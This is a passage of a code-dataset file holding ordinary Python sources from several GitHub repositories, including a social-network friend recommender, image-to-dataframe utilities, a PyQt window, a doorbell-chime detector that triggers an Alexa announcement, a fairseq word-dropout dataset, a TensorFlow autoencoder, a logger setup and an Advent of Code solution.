the values.\n        :return: dictionary containing each username as keys and lists of common friends associated with\n        the other users as the values.\n        \"\"\"\n        common_matrix: dict = {}\n        for name in sorted(self.users.keys()):\n            common_matrix[name] = []\n        for user in common_matrix:\n            ln: dict[str, int] = {}\n            if common_friends is None:\n                common_friends: dict = self._compute_common_friends()\n            for (n1, n2) in common_friends:\n                if user == n1:\n                    ln[n2] = common_friends[(n1, n2)]\n            u: User = self.users[user]\n            ln[user]: list = len(u.friend_names)\n            for n2 in sorted(ln.keys()):\n                common_matrix[user] += [ln[n2]]\n        return common_matrix\n\n    def get_common_friends(self) -> dict[(str, str), int]:\n        \"\"\"\n        Gets the number of common friends for each pair of friends in the social network.\n        :return: dictionary containing number of common friends for each pair.\n        \"\"\"\n        if self.common_friends is None:\n            self.common_friends = self._compute_common_friends()\n        return self.common_friends\n\n    def _compute_common_friends(self) -> dict[(str, str), int]:\n        result: dict[(str, str), int] = {}\n        for name1 in self.users.keys():\n            for name2 in self.users.keys():\n                if name1 != name2:\n                    result[(name1, name2)] = self._compute_friends_count(name1, name2)\n        return result\n\n    def _compute_friends_count(self, name1: str, name2: str) -> int:\n        l1: list = self.users[name1].friend_names\n        l2: list = self.users[name2].friend_names\n        common_num: int = 0\n        for n in l1:\n            if n == name1 or n == name2:\n                continue\n            if n in l2:\n                common_num += 1\n        return common_num\n\n    # Feature 2 ii.\n    def recommend_friend(self, user_name: str) -> Optional[str]:\n        \"\"\"\n        Gets a username as a parameter and recommends a new friend based on the number of common friends with that\n        potential friend.\n        :param user_name: name of a user seeking a new friend.\n        :return: recommended friend or None.\n        \"\"\"\n        u: User = self.users[user_name]\n        if not u.friend_names:\n            return None\n        cf: dict[(str, str), int] = self.get_common_friends()\n        max_common: int = 0\n        result = None\n        for (n1, n2) in cf.keys():\n            if n1 == user_name:\n                if n2 in u.friend_names:\n                    continue\n                if cf[(n1, n2)] > max_common:\n                    max_common = cf[(n1, n2)]\n                    result = n2\n        return result\n\n    # Feature 3 iii.\n    def get_user_relationship(self, name: str) -> dict[str, list[str]]:\n        \"\"\"\n        Gets a list of friends corresponding to the given user.\n        :param name: name of user whose friends shall be returned.\n        :return: dictionary containing strings as keys and lists of strings as their value.\n        \"\"\"\n        result: dict[str, list[str]] = {}\n        user: User = self.users[name]\n        result[name] = user.friend_names\n        return result\n\n    # Feature 3 iv.\n    def get_indirect_relationships(self) -> dict[str, list[str]]:\n        \"\"\"\n        Gets indirect relationships between users (i.e. friend of a friend of a user).\n        :return: dictionary containing strings as keys and lists of strings as their value.\n        \"\"\"\n        names = self.compute_friendships()\n        indirect_friends: dict[str, list[str]] = {}\n        for u in names:\n            indirect_friends[u] = []\n        for n1 in names:\n            for n2 in names[n1]:\n                for n3 in names[n2]:\n                    if n1 != n3 and n3 not in names[n1]:\n                        indirect_friends[n1] += [n3]\n        return indirect_friends\n\n    def compute_friendships(self) -> dict[str, list[str]]:\n        \"\"\"\n        Adds the usernames (as keys) and their friends (as values) to a dictionary 'names'.\n        :return: dictionary containing strings as keys and lists of strings as their value.\n        \"\"\"\n        names: dict[str, list[str]] = {}\n        for name in sorted(self.users.keys()):\n            user: User = self.users[name]\n            names[name]: list = user.friend_names\n        return names\n\n    # Feature 3 v.\n    def validate(self):\n        \"\"\"\n        Checks if a user is friends with another user and vice versa.\n        :return: None\n        \"\"\"\n        for user in self.users:\n            u: User = self.users[user]\n            for friend in u.friend_names:\n                f: User = self.users[friend]\n                if user in f.friend_names:\n                    pass\n                else:\n                    raise InconsistentException(friend, user)\n","repo_name":"sebifilip/PythonCoursework2022","sub_path":"social_network.py","file_name":"social_network.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72166388519","text":"\"\"\"\nUtility functions related to image processing\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\n\ndef image_to_dataframe(X, y=None, bands=None, target_feature=\"target\"):\n    \"\"\"\n    Converts an image array (height, width, bands) to a pandas dataframe\n    (height * width, bands). If ``y`` is not ``None``, a feature with name\n    ``target_feature`` will be added to the dataset.\n\n    .. note:: Some workflows use image arrays of format (bands, width, height). In that\n        case, you can simply transpose the image before calling this function.\n\n    Parameters\n    ----------\n    X : array-like of shape (h, w, b)\n        Matrix containing the image data.\n\n    y : array-like of shape (h, w), default=None\n        The target values (class labels) as integers or strings.\n\n    bands : array-like of shape (b,), default=None\n        The names of the bands in the image.\n\n    target_feature : str, default=\"target\"\n        Target feature name.\n\n    Returns\n    -------\n    df_image : pd.DataFrame, shape (h * w, b[+1])\n        Dataframe with pixel coordinates (h, w) as index, counting from the top left\n        corner.\n\n    Examples\n    --------\n\n    >>> import numpy as np\n    >>> X = np.random.default_rng(42).random((4,5,3))\n    >>> y = np.random.default_rng(42).integers(0,2,4*5).reshape(4,5)\n    >>> image_to_dataframe(X).head(5)\n    ...             0         1         2\n    ... h w\n    ... 0 0  0.773956  0.438878  0.858598\n    ...   1  0.697368  0.094177  0.975622\n    ...   2  0.761140  0.786064  0.128114\n    ...   3  0.450386  0.370798  0.926765\n    ...   4  0.643865  0.822762  0.443414\n    >>> image_to_dataframe(X, y, bands=[\"r\",\"g\", \"b\"], target_feature=\"classes\").head(5)\n    ...             r         g         b  classes\n    ... h w\n    ... 0 0  0.773956  0.438878  0.858598        0\n    ...   1  0.697368  0.094177  0.975622        1\n    ...   2  0.761140  0.786064  0.128114        1\n    ...   3  0.450386  0.370798  0.926765        0\n    ...   4  0.643865  0.822762  0.443414        0\n    \"\"\"\n    # Check y's dimensionality\n    if y is not None and len(y.shape) == 2:\n        y = np.expand_dims(y, axis=-1)\n\n    # Collect metadata\n    shp = X.shape\n    columns = [i for i in range(shp[-1])] if bands is None else bands\n    indices = np.indices(shp[:-1]).reshape((2, shp[0] * shp[1]))\n    indices = pd.MultiIndex.from_arrays(indices, names=[\"h\", \"w\"])\n\n    if y is None:\n        dat = np.moveaxis(X, -1, 0).reshape((len(columns), shp[0] * shp[1]))\n        df_image = pd.DataFrame(data=dat.T, columns=columns, index=indices)\n    else:\n        columns = columns + [target_feature]\n        dat = np.moveaxis(np.append(X, y, axis=-1), -1, 0).reshape(\n            (len(columns), shp[0] * shp[1])\n        )\n        df_image = pd.DataFrame(data=dat.T, columns=columns, index=indices)\n        df_image[target_feature] = df_image[target_feature].astype(int)\n\n    return df_image\n\n\ndef dataframe_to_image(df, bands=None, target_feature=None):\n    \"\"\"\n    Converts a pandas dataframe to an image. The height (\"h\"), and width (\"w\")\n    coordinates of the image must be in the index.\n\n    Arguments\n    ---------\n    df : pd.DataFrame\n        Dataframe with pixel coordinates (h, w) as index, counting from the top left\n        corner.\n\n    bands : array-like of shape (b,), default=None\n        The names of the bands in the dataframe to be passed to the image.\n\n    target_feature : str, default=None\n        Target feature name.\n\n    Returns\n    -------\n    X : array-like of shape (h, w, b)\n        Matrix containing the image data.\n\n    y : array-like of shape (h, w), default=None\n        The target values (class labels) as integers or strings.\n\n    bands : array-like of shape (b,), default=None\n        The names of the bands in the image.\n    \"\"\"\n\n    if (np.sort(df.index.names) != [\"h\", \"w\"]).any():\n        err_msg = (\n            'Image coordinates with names [\"h\", \"w\"] must be in index,'\n            f\" got {list(df.index.names)} instead.\"\n        )\n        raise IndexError(err_msg)\n\n    df_ = df.reset_index().pivot(index=\"h\", columns=\"w\")\n    y = df_[target_feature].values if target_feature is not None else None\n\n    if bands is None:\n        bands = (\n            df.columns if target_feature is None else df.columns.drop(target_feature)\n        )\n\n    X = np.array([df_[band] for band in bands])\n    X = np.moveaxis(X, 0, -1)\n\n    return X, y, bands\n","repo_name":"joaopfonseca/ml-research","sub_path":"mlresearch/utils/_image.py","file_name":"_image.py","file_ext":"py","file_size_in_byte":4378,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"19657643501","text":"from PyQt5.QtWidgets import (QVBoxLayout, QHBoxLayout, QAction, QMessageBox,\n                             QMainWindow, QWidget, QScrollArea, QSplitter)\nfrom PyQt5.QtCore import Qt\nfrom .ConsoleView import ConsoleView\nfrom .SignalButton import SignalButton\nfrom .SignalView import SignalView\n\nclass MainWindow(QMainWindow):\n    def __init__(self, signalNames):\n        super(MainWindow, self).__init__()\n\n        widget = QWidget()\n        self.setCentralWidget(widget)\n\n        self.consoleView = ConsoleView()\n        self.signalView = SignalView()\n        buttonsWidget = QWidget()\n\n        scroll = QScrollArea()\n        scroll.setWidget(self.signalView)\n        scroll.setWidgetResizable(True)\n\n        hboxSignalButtons = QHBoxLayout()\n        self.signalButtons = self.createSignalButtons(signalNames,\n                                                      hboxSignalButtons)\n        buttonsWidget.setLayout(hboxSignalButtons)\n\n        splitter = QSplitter(self)\n        splitter.setOrientation(Qt.Vertical)\n        splitter.addWidget(scroll)\n        splitter.addWidget(self.consoleView)\n        vbox = QVBoxLayout()\n        vbox.addWidget(buttonsWidget)\n        vbox.addWidget(splitter)\n        \n\n        self.createActions()\n        self.createMenu()\n\n        widget.setLayout(vbox)\n        self.setWindowTitle(\"kit\")\n\n    def createSignalButtons(self, signalNames, buttonsPanel):\n        buttons = []\n        for name in signalNames:\n            button = SignalButton(name)\n            buttonsPanel.addWidget(button)\n            buttons.append(button)\n        return buttons\n\n    def signalViewConnect(self, controller):\n        self.signalView.connect(controller.model,\n                                controller.button)\n\n    def createActions(self):\n        self.aboutAct = QAction(\"&About\", self,\n                                statusTip=\"learn what it is all about\",\n                                triggered=self.about)\n\n    def createMenu(self):\n        helpMenu = self.menuBar().addMenu(\"&Help\")\n        helpMenu.addAction(self.aboutAct)\n\n    def about(self):\n        QMessageBox.about(self, \"About\", \"dummy about message\")\n","repo_name":"uj-robotics/jasugun","sub_path":"view/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"3055738219","text":"#! /usr/bin/env python3\n\nfrom abc import ABC, abstractmethod\nimport argparse\nimport datetime\nimport dotenv\nimport logging\nimport logging.handlers\nimport numpy as np\nfrom typing import Optional, Tuple\nimport os\nimport pathlib\nimport pyaudio\nfrom scipy.signal import argrelmax\nimport subprocess\nimport shlex\nimport time\nimport wave\n\n\nRATE: int = 8000            # サンプリング周波数、フレーム数\nCHUNK: int = int(RATE / 2)  # PyAudioで一度に取得するサンプリング数. サンプリング周波数の半分。0.5秒分\nFORMAT = pyaudio.paInt16  # フォーマット\nCHANNELS: int = 1  # チャンネル数 （モノラル）\n\nFREQ_1ST: float = 849.0  # ピンポーンのピンの周波数\nFREQ_2ND: float = 680.0  # ピンポーンのポーンの周波数\n\nWINDOW_IN_SECONDS: float = 1.5  # ピンポーンを検出を試みる区間の秒数(window)\nWINDOW_IN_FRAMES: int = int(WINDOW_IN_SECONDS * RATE)  # ピンポーン検出を試みる区間のフレーム数\n\nlogger: Optional[logging.Logger] = None\n\n\n# 音入力のインターフェース\nclass FrameReader(ABC):\n    @abstractmethod\n    def open(self) -> bool:\n        pass\n\n    @abstractmethod\n    def should_open_again(self) -> bool:\n        pass\n\n    @abstractmethod\n    def read(self, chunk=CHUNK) -> Optional[bytes]:\n        pass\n\n    @abstractmethod\n    def close(self) -> bool:\n        pass\n\n\n# 音入力としてwavファイルを利用するときのFrameReader。デバッグ用\nclass WavFrameReader(FrameReader):\n    def __init__(self, wavFilePath: pathlib.Path) -> None:\n        super().__init__()\n\n        self._wavFilePath = wavFilePath\n        self._wavFile = None\n\n    def open(self) -> bool:\n        self._wavFile = wave.open(str(self._wavFilePath), 'rb')\n        if not self._wavFile:\n            logger.error(f\"Failed to open the wav file. {self._wavFilePath}\")\n            return False\n\n        if self._wavFile.getframerate() != RATE:\n            logger.error(f\"Invalid framerate . {self._wavFile.getframerate()}\")\n            return False\n\n        if self._wavFile.getnchannels() != CHANNELS:\n            logger.error(f\"Invalid channels . {self._wavFile.getnchannels()}\")\n            return False\n\n        if self._wavFile.getsampwidth() != 2:\n            logger.error(f\"Invalid width . {self._wavFile.getsamwidth()}\")\n            return False\n\n        return True\n\n    def should_open_again(self) -> bool:\n        return False\n\n    def read(self, chunk=CHUNK) -> Optional[bytes]:\n        frames = self._wavFile.readframes(chunk)\n        if not frames:\n            return None\n\n        return frames\n\n    def close(self) -> bool:\n        self._wavFile.close()\n        self._wavFile = None\n        return True\n\n\n# 音入力としてmicを利用するときのFrameReader。\nclass MicFrameReader(FrameReader):\n    def __init__(self) -> None:\n        super().__init__()\n        self._p = None\n        self._stream = None\n\n    def open(self) -> bool:\n        self._p = pyaudio.PyAudio()\n\n        input_device_index = -1\n\n        for host_index in range(0, self._p.get_host_api_count()):\n            logger.info(f\"host: {self._p.get_host_api_info_by_index(host_index)}\")\n            for device_index in range(0, self._p.get_host_api_info_by_index(host_index)['deviceCount']):\n                device_info = self._p.get_device_info_by_host_api_device_index(host_index, device_index)\n                logger.info(f\"device: {device_info}\")\n\n                if device_info['name'] == os.environ.get(\"AUDIO_DEVICE\"):\n                    input_device_index = device_info[\"index\"]\n                    break\n            else:\n                continue\n            break\n\n        if input_device_index < 0:\n            self.close()\n            return False\n\n        logger.info(f\"========= {input_device_index}\")\n        try:\n            self._stream = self._p.open(\n                format=FORMAT,\n                channels=CHANNELS,\n                rate=RATE,\n                input=True,\n                input_device_index=input_device_index,\n                frames_per_buffer=CHUNK\n            )\n        except Exception as e:\n            logger.error(e)\n            self.close()\n            return False\n\n        return True\n\n    def should_open_again(self) -> bool:\n        return True\n\n    def read(self, chunk=CHUNK) -> Optional[bytes]:\n        if not self._stream.is_active():\n            return None\n\n        frames = self._stream.read(CHUNK)\n        return frames\n\n    def close(self) -> bool:\n        if self._stream:\n            self._stream.stop_stream()\n            self._stream.close()\n            self._stream = None\n\n        if self._p:\n            self._p.terminate()\n            self._p = None\n\n        return True\n\n\ndef setup_logger(name, console=False, level=logging.INFO, logfile='LOGFILENAME.txt') -> logging.Logger:\n\n    logger = logging.getLogger(name)\n    logger.setLevel(logging.DEBUG)\n\n    fmt = \"%(asctime)s %(thread)d %(levelname)s %(name)s :%(message)s\"\n\n    # create file handler which logs even DEBUG messages\n    fh = logging.handlers.RotatingFileHandler(logfile, maxBytes=1000000, backupCount=10)\n    fh.setLevel(level)\n    fh_formatter = logging.Formatter(fmt)\n    fh.setFormatter(fh_formatter)\n    logger.addHandler(fh)\n\n    if console:\n        ch = logging.StreamHandler()\n        ch.setLevel(level)\n        ch_formatter = logging.Formatter(fmt)\n        ch.setFormatter(ch_formatter)\n        logger.addHandler(ch)\n\n    return logger\n\n\n# FFTをする。\ndef fft(frames: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n\n    x = np.fft.fft(frames)\n    freq = np.fft.fftfreq(len(frames), d=1.0 / RATE)\n\n    x = x[:int(len(x) / 2)]\n    freq = freq[:int(len(freq) / 2)]\n    amp = np.sqrt(x.real ** 2 + x.imag ** 2)\n\n    return (amp, freq)\n\n\n# Peakを求める。\ndef findpeaks(x: np.ndarray, y: np.ndarray, n: int = 50, w: int = 100) -> Tuple[np.ndarray, np.ndarray]:\n    index_all = argrelmax(y, order=w)                # scipyのピーク検出\n    index = []                                                      # ピーク指標の空リスト\n    peaks = []                                                      # ピーク値の空リスト\n\n    # n個分のピーク情報(指標、値）を格納\n    for i in range(min(len(index_all[0]), n)):\n        index.append(index_all[0][i])\n        peaks.append(y[index_all[0][i]])\n    index = np.array(index) * x[1]                                  # xの分解能x[1]をかけて指標を物理軸に変換\n    peaks = np.array(peaks)\n\n    return index, peaks\n\n\n# ピークに、指定された周波数が含まれるかチェック\ndef has_freq(freqs: np.ndarray, peaks: np.ndarray, target: float) -> bool:\n    for freq, peak in zip(freqs.tolist(), peaks.tolist()):\n        if target - 2 <= freq and freq <= target + 2:\n            logger.info(f\"peak {target}, {freq} {peak}\")\n            if peak > 20000:\n                return True\n\n    return False\n\n    # l = freq.tolist()\n    # res = list(filter(lambda x: target - 5 <= x and x <= target + 5, l))\n    # return bool(res)\n\n\n# Alexa Echo に 話させる。\ndef speak_alexa() -> None:\n    device = os.environ.get(\"ALEXA_DEVICE\")\n    cmd = f'./alexa_remote_control.sh -d \"{device}\" -e \"speak: チャイムが鳴りました\"'\n    logging.debug(cmd)\n    # cmd = './alexa_remote_control.sh -d \"ALL\" -e \"speak: チャイムが鳴りました\"'\n    subprocess.run(shlex.split(cmd))\n\n\ndef save_wav(folder: pathlib.Path, frames) -> None:\n    now = datetime.datetime.now()\n    filename = \"detect-\" + now.strftime('%Y%m%d_%H%M%S') + '.wav'\n    path = pathlib.Path(folder, filename)\n    logging.info(f\"save wav file. {path}\")\n    wav_file = wave.open(str(path), \"wb\")\n    wav_file.setnchannels(CHANNELS)\n    wav_file.setsampwidth(2)\n    wav_file.setframerate(RATE)\n    wav_file.writeframes(b\"\".join(frames))\n    wav_file.close()\n\ndef main() -> None:\n    dotenv.load_dotenv(verbose=True)\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-v\", \"--verbose\", help=\"verbose\", action=\"count\", default=0)\n    parser.add_argument(\"-c\", \"--console\", help=\"console output\", action='store_true')\n    parser.add_argument(\"-w\", \"--wav_folder\", help=\"Output folder to store detected wav filess\", default=\".\")\n    args = parser.parse_args()\n\n    logging_level = logging.INFO if args.verbose == 0 else logging.DEBUG\n    global logger\n    logger = setup_logger(__name__, args.console, logging_level, \"intercom.log\")\n\n    wav_folder = pathlib.Path(args.wav_folder)\n    if (not wav_folder.exists()):\n        wav_folder.mkdir(parents=True)\n\n    # frame_reader: FrameReader = WavFrameReader('test-data/sample1.wav')\n    frame_reader: FrameReader = MicFrameReader()\n\n    # Open FrameReader\n    while True:\n        logger.info(\"Try to open\")\n        if frame_reader.open():\n            logger.info(\"Success\")\n            break\n\n        if not frame_reader.should_open_again():\n            frame_reader.close()\n            return\n\n        time.sleep(1)\n\n    counter: int = 0\n    skip_count: int = 0\n    frames_list = []\n    np_frames_list = []\n    while True:\n        # Read frames\n        frames = frame_reader.read()\n        if not frames:\n            logger.info(\"End of frames\")\n            break\n\n        logger.debug(f\"frames: {type(frames), {len(frames)}}\")\n        if counter == 0:\n            logger.info(\".\")\n        counter = counter + 1 if counter < 10 else 0\n\n        if frames is None:\n            logger.info(\"End of frames\")\n            break\n\n        skip_count = max(0, skip_count - 1)\n\n        frames_list.append(frames)\n        np_frames_list.append(np.frombuffer(frames, dtype='int16'))\n\n        if len(frames_list) * CHUNK < WINDOW_IN_FRAMES:\n            continue\n\n        if len(frames_list) * CHUNK > WINDOW_IN_FRAMES:\n            frames_list = frames_list[1:]\n            np_frames_list = np_frames_list[1:]\n\n        # FFT\n        amp, freq = fft(np.concatenate(np_frames_list))\n\n        # Find peaks\n        index, peaks = findpeaks(freq, amp)\n\n        # Detect\n        if has_freq(index, peaks, FREQ_1ST) and has_freq(index, peaks, FREQ_2ND):\n            logger.info(f\"detect!!! {skip_count}\")\n\n            if skip_count == 0:\n                speak_alexa()\n                save_wav(wav_folder, frames_list)\n\n            skip_count = 5\n\n    frame_reader.close()\n\n\nif __name__ == \"__main__\":\n    main()\n\n    # dotenv.load_dotenv(verbose=True)\n    # speak_alexa()\n","repo_name":"kenmasumitsu/intercom","sub_path":"detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":10388,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"16702506340","text":"import torch\nimport numpy as np\nfrom bisect import bisect\n\nfrom fairseq.data import data_utils\n\n\nclass WordNoising(object):\n    def __init__(self, dictionary):\n        self.dictionary = dictionary\n\n    def noising(self, x , noising_prob = 0.0):\n        raise NotImplementedError()\n\n\n\nclass WordDropout(WordNoising):\n    def __init__(self, dictionary):\n        super().__init__(dictionary)\n        self.default_prob = 0.1\n\n    def noising(self, x, noising_prob = None):\n        if noising_prob is None:\n            noising_prob = self.default_prob\n        if noising_prob == 0:\n            return x\n        new_dict = self.dictionary.symbols[4:]\n        freq = self.dictionary.count[4:]\n        freq = np.array(freq)/sum(freq)\n        freq_cum = np.cumsum(freq)\n\n        assert 0 < noising_prob < 1 \n        new_s = x[0]\n        has_eos = new_s[-1] == self.dictionary.eos()\n        words = new_s.tolist()\n        word_length = len(words)\n        if has_eos:\n            word_length -=1\n\n        for i in range(word_length):\n            draw = np.random.binomial(1,noising_prob)\n            if draw:\n                new_id = new_dict[self.sample_index(freq_cum)]\n                new_id = self.dictionary.indices[new_id]\n                words[i] = new_id\n\n        return torch.LongTensor(words)\n\n    def sample_index(self, ps):\n        return bisect(ps,np.random.random()*ps[-1])\n\n\nclass NoisingData(torch.utils.data.Dataset):\n    def __init__(self,src_dataset,src_dict,seed, noiser = WordDropout, dropout = 0.1):\n        self.src_dataset = src_dataset\n        self.src_dict = src_dict\n        self.seed = seed\n        self.noiser = noiser(dictionary = src_dict )\n        self.dropout = dropout\n\n    def __getitem__(self, index):\n        src_tokens = self.src_dataset[index]\n        src_tokens = src_tokens.unsqueeze(0)\n        #print(\"before dropout\")\n        #print(src_tokens)\n\n        with data_utils.numpy_seed(self.seed + index):\n            noisy_src_tokens = self.noiser.noising(src_tokens, self.dropout)\n        #print(\"after dropout\")\n        #print(noisy_src_tokens)\n\n        return noisy_src_tokens\n\n\n    def __len__(self):\n        return len(self.src_dataset)\n\n\n    @property\n    def supports_prefetch(self):\n        return self.src_dataset.supports_prefetch\n\n    def prefetch(self, indices):\n        if self.src_dataset.supports_prefetch:\n            self.src_dataset.prefetch(indices)\n","repo_name":"dangss/Align-SCA","sub_path":"fairseq/data/word_dropout.py","file_name":"word_dropout.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37162983043","text":"import tensorflow as tf\nimport numpy as np\n\n\nclass autoencoder(object):\n    def __init__(self, input_size, hidden_size, output_size, epochs, learning_rate, batch_size):\n        # Defining the hyperparameters\n        self.input = input_size  # Size of input\n        self.hidden = hidden_size  # Size of dimension reduction\n        self.output = output_size  # Size of the class label\n        self.epochs = epochs  # Amount of training iterations\n        self.learning_rate = learning_rate  # The step used in gradient descent\n        self.batch_size = batch_size  # The size of how much data will be used for training per sub iteration\n        self.display_step = 1\n\n        self.weights = []\n        self.biases = []\n\n    def initialPara(self):\n        weights = {\n            'encoder_h1': tf.Variable(tf.random_normal([self.input, self.hidden])),\n            'decoder_h1': tf.Variable(tf.random_normal([self.hidden, self.input]))\n        }\n        biases = {\n            'encoder_b1': tf.Variable(tf.random_normal([self.hidden])),\n            'decoder_b1': tf.Variable(tf.random_normal([self.input]))\n        }\n        self.weights = weights\n        self.biases = biases\n\n    def encoder(self, x):\n        layer = tf.nn.sigmoid(tf.add(tf.matmul(x, self.weights['encoder_h1']), self.biases['encoder_b1']))\n        return layer\n\n    def decoder(self, x):\n        layer = tf.nn.sigmoid(tf.add(tf.matmul(x, self.weights['decoder_h1']), self.biases['decoder_b1']))\n        return layer\n\n    def train(self, X, Y, X_test, Y_test):\n        self.X_ = tf.placeholder('float', [None, X.shape[1]])\n        self.Y_ = tf.placeholder('float', [None, Y.shape[1]])\n        batch_size = self.batch_size\n\n        self.initialPara()\n        # tf_weights_ = tf.Variable(self.weights)\n        # tf_biases_ = tf.Variable(self.biases)\n\n        encoder_op = self.encoder(self.X_)\n        decoder_op = self.decoder(encoder_op)\n\n        # unsupervised learning\n        y_pred_un = decoder_op\n        y_true_un = self.X_\n\n        # supervised learning\n        W = tf.Variable(tf.random_normal([X.shape[1], Y.shape[1]]))\n        b = tf.Variable(tf.random_normal([Y.shape[1]]))\n        y_pred = tf.nn.softmax(tf.matmul(self.X_, W) + b)  # Softmax\n        y_true = self.Y_\n\n        # define loss and optimizer, minimize the squared error\n        cost_un = tf.reduce_mean(tf.pow(y_pred_un - y_true_un, 2))\n        cost_su = tf.reduce_mean(tf.pow(y_pred - y_true, 2))\n        total_cost = cost_un + cost_su\n\n        optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(total_cost)\n\n        init = tf.global_variables_initializer()\n        sess = tf.InteractiveSession()\n        # write = tf.summary.FileWriter(\"./tb/1\")\n        # write.add_graph(sess.graph)\n        sess.run(init)\n        # launch the graph\n\n        total_batch = int(X.shape[0] / batch_size)\n        cost_uns, cost_sus = [], []\n\n        weights_, biases_, costs = [], [], []\n\n        # training cycle\n        for epoch in range(self.epochs):\n            # loop over all batches\n            for i in range(total_batch):\n                batch_xs = X[i * batch_size:(i + 1) * batch_size]\n                batch_ys = Y[i * batch_size:(i + 1) * batch_size]\n                _, c, u, s = sess.run([optimizer, total_cost, cost_un, cost_su],\n                                      feed_dict={self.X_: batch_xs, self.Y_: batch_ys})\n\n                cost_uns.append(u)\n                cost_sus.append(s)\n\n                # encoders.append(sess.run([encoder_op], feed_dict={self.X_: batch_xs}))\n                # decoders.append(sess.run([decoder_op], feed_dict={self.X_: batch_xs}))\n                # weights_.append(sess.run([self.weights], feed_dict={self.X_:batch_xs}))\n\n                costs.append(c)\n            w_encode = self.weights['encoder_h1'].eval()\n            w_decode = self.weights['decoder_h1'].eval()\n            weights_.append({'encoder_h1': w_encode, 'decoder_h1': w_decode})\n            # display logs per epoch step\n            if epoch % self.display_step == 0:\n                print(\"Epoch:\", '%04d' % (epoch + 1), \"cost={:.9f}\".format(c))\n\n\n        print(\"optimization finished!!\")\n\n        correct_prediction = tf.equal(tf.argmax(y_pred, 1), tf.argmax(y_true, 1))\n        # Calculate accuracy\n        accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n        print(\"Accuracy:\", accuracy.eval({self.X_: X_test, self.Y_: Y_test}))\n\n        self.encoderOp = encoder_op\n        self.decoderOp = decoder_op\n        self.weights_out = np.array(weights_)\n        self.costs = costs\n        self.costs_un = cost_uns\n        self.costs_su = cost_sus\n\n    def output(self, X):\n        input_ = tf.constant(X)\n        encoder_ = self.encoder(input_)\n        with tf.Session() as sess:\n            sess.run(tf.initialize_all_variables())\n\n            return sess.run(encoder_)\n\n\nclass autoencoder_advance(object):\n    def __init__(self, input_size, hiddens, output_size, epochs, learning_rate, batch_size):\n        # Defining the hyperparameters\n        self.input = input_size  # Size of input\n        self.hiddens = hiddens  # Hidden layers & number of nodes in hidden\n        self.output = output_size  # Size of the class label\n        self.epochs = epochs  # Amount of training iterations\n        self.learning_rate = learning_rate  # The step used in gradient descent\n        self.batch_size = batch_size  # The size of how much data will be used for training per sub iteration\n        self.display_step = 1\n\n        self.weights = []\n        self.biases = []\n\n    def initialPara(self):\n        weights_en, biases_en = [], []\n        weights_de, biases_de = [], []\n        for i in range(0, len(self.hiddens) - 1):\n            if i == 0:\n                layer = tf.Variable(tf.random_normal([self.input, self.hiddens[i]]))\n            else:\n                layer = tf.Variable(tf.random_normal([self.hiddens[i], self.hiddens[i + 1]]))\n            bias = tf.Variable(tf.random_normal([self.hiddens[i]]))\n","repo_name":"hvdthong/DefectPrediction_code","sub_path":"semiSupervised/autoencode.py","file_name":"autoencode.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7457622390","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport logging\nimport logging.handlers\nimport sys\n\nLOG_FILE = \"/var/log/drs.log\"\nfmt = \"%(name)s %(levelname)s %(asctime)s \" \\\n      \"[ %(module)s(%(process)s):%(lineno)s:%(funcName)s ] %(message)s\"\nformatter = logging.Formatter(fmt)\nrotation_handler = logging.handlers.RotatingFileHandler(LOG_FILE,\n                                                        maxBytes=1024*1024,\n                                                        backupCount=5)\nstd_handler = logging.StreamHandler(sys.stdout)\n\nrotation_handler.setFormatter(formatter)\nstd_handler.setFormatter(formatter)\n\nrotation_handler.setLevel(logging.DEBUG)\nstd_handler.setLevel(logging.DEBUG)\n\ndrs_log = logging.getLogger(\"drs\")\ndrs_log.addHandler(rotation_handler)\ndrs_log.setLevel(logging.DEBUG)\ndrs_log.addHandler(std_handler)\n\nif __name__ == \"__main__\":\n    pass\n","repo_name":"tuxknight/routingService","sub_path":"routingService/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"18120454149","text":"\"\"\"\n--- Day 3: Perfectly Spherical Houses in a Vacuum ---\nhttps://adventofcode.com/2015/day/3\n\"\"\"\nfrom aocd import data\n\n\nstep = {\n    \"^\": -1j,\n    \">\": 1,\n    \"v\": 1j,\n    \"<\": -1,\n}\n\n\nz = 0\nseen = {z}\nfor c in data:\n    z += step[c]\n    seen |= {z}\n\nprint(\"answer_a:\", len(seen))\n\n\nz = 0\nseen = {z}\nfor c in data[0::2]:  # santa\n    z += step[c]\n    seen |= {z}\n\nz = 0\nfor c in data[1::2]:  # robo-santa\n    z += step[c]\n    seen |= {z}\n\nprint(\"answer_b:\", len(seen))\n","repo_name":"wimglenn/advent-of-code-wim","sub_path":"aoc_wim/aoc2015/q03.py","file_name":"q03.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"38"}
